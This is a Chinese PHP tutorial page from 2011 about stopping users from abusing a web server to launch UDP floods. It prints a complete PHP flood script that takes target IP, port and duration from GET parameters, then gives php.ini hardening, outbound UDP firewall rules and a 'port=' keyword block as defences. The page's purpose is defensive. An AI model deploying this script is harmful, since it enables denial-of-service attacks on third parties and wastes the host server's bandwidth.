防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
解决phpmyadmin 乱码,支持gb2312和utf-8
Nov 20 PHP
source.php查看源文件
Dec 09 PHP
php cookis创建实现代码
Mar 16 PHP
php文件上传表单摘自drupal的代码
Feb 15 PHP
php 归并排序 数组交集
May 10 PHP
浅析PKI加密解密 OpenSSL
Jul 01 PHP
PHP cURL初始化和执行方法入门级代码
May 28 PHP
php实现QQ空间获取当前用户的用户名并生成图片
Jul 25 PHP
php实现给一张图片加上水印效果
Jan 02 PHP
php mysql procedure实现获取多个结果集的方法【基于thinkPHP】
Nov 09 PHP
完美解决在ThinkPHP控制器中命名空间的问题
May 05 PHP
PHP开发之用微信远程遥控服务器
Jan 25 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
德生S2000电路分析
2021/03/02 无线电
php 网页播放器用来播放在线视频的代码(自动判断并选择视频文件类型)
2010/06/03 PHP
PHP的Laravel框架中使用AdminLTE模板来编写网站后台界面
2016/03/21 PHP
Yii基于CActiveForm的Ajax数据验证用法示例
2016/07/14 PHP
innerHTML 和 getElementsByName 在IE下面的bug 的解决
2010/04/09 Javascript
js中文逗号转英文实现
2014/02/11 Javascript
动态添加删除表格行的js实现代码
2014/02/28 Javascript
js实现向右横向滑出的二级菜单效果
2015/08/27 Javascript
JS查找英文文章中出现频率最高的单词
2017/03/20 Javascript
详解JS模块导入导出
2017/12/20 Javascript
JavaScript代码实现txt文件的上传预览功能
2018/03/27 Javascript
vuejs项目打包之后的首屏加载优化及打包之后出现的问题
2018/04/01 Javascript
详解Axios 如何取消已发送的请求
2018/10/20 Javascript
js实现下拉框二级联动
2018/12/04 Javascript
node.js中express模块创建服务器和http模块客户端发请求
2019/03/06 Javascript
微信小程序实现手势滑动卡片效果
2019/08/26 Javascript
vue使用map代替Aarry数组循环遍历的方法
2020/04/30 Javascript
微信小程序wx.getUserInfo授权获取用户信息(头像、昵称)的实现
2020/08/19 Javascript
Vue3.0的优化总结
2020/10/16 Javascript
Python 比较两个数组的元素的异同方法
2017/08/17 Python
Python将多个excel文件合并为一个文件
2018/01/03 Python
Python设计模式之观察者模式原理与用法详解
2019/01/16 Python
用Python实现二叉树、二叉树非递归遍历及绘制的例子
2019/08/09 Python
你还在@微信官方?聊聊Python生成你想要的微信头像
2019/09/25 Python
Python 面向对象之封装、继承、多态操作实例分析
2019/11/21 Python
django框架单表操作之增删改实例分析
2019/12/16 Python
浅谈Python程序的错误:变量未定义
2020/06/02 Python
Brora官网:英国领先的羊绒服装品牌
2019/08/28 全球购物
英国在线照明超市:Castlegate Lights
2019/10/30 全球购物
adidas爱尔兰官方网站:阿迪达斯运动鞋和运动服
2019/11/01 全球购物
意大利时尚奢侈品店:D’Aniello Boutique
2021/01/19 全球购物
大型活动策划方案
2014/01/12 职场文书
幼儿园开学寄语
2014/04/03 职场文书
王亚平太空授课观后感
2015/06/12 职场文书
pytorch 两个GPU同时训练的解决方案
2021/06/01 Python
详解PyTorch模型保存与加载
2022/04/28 Python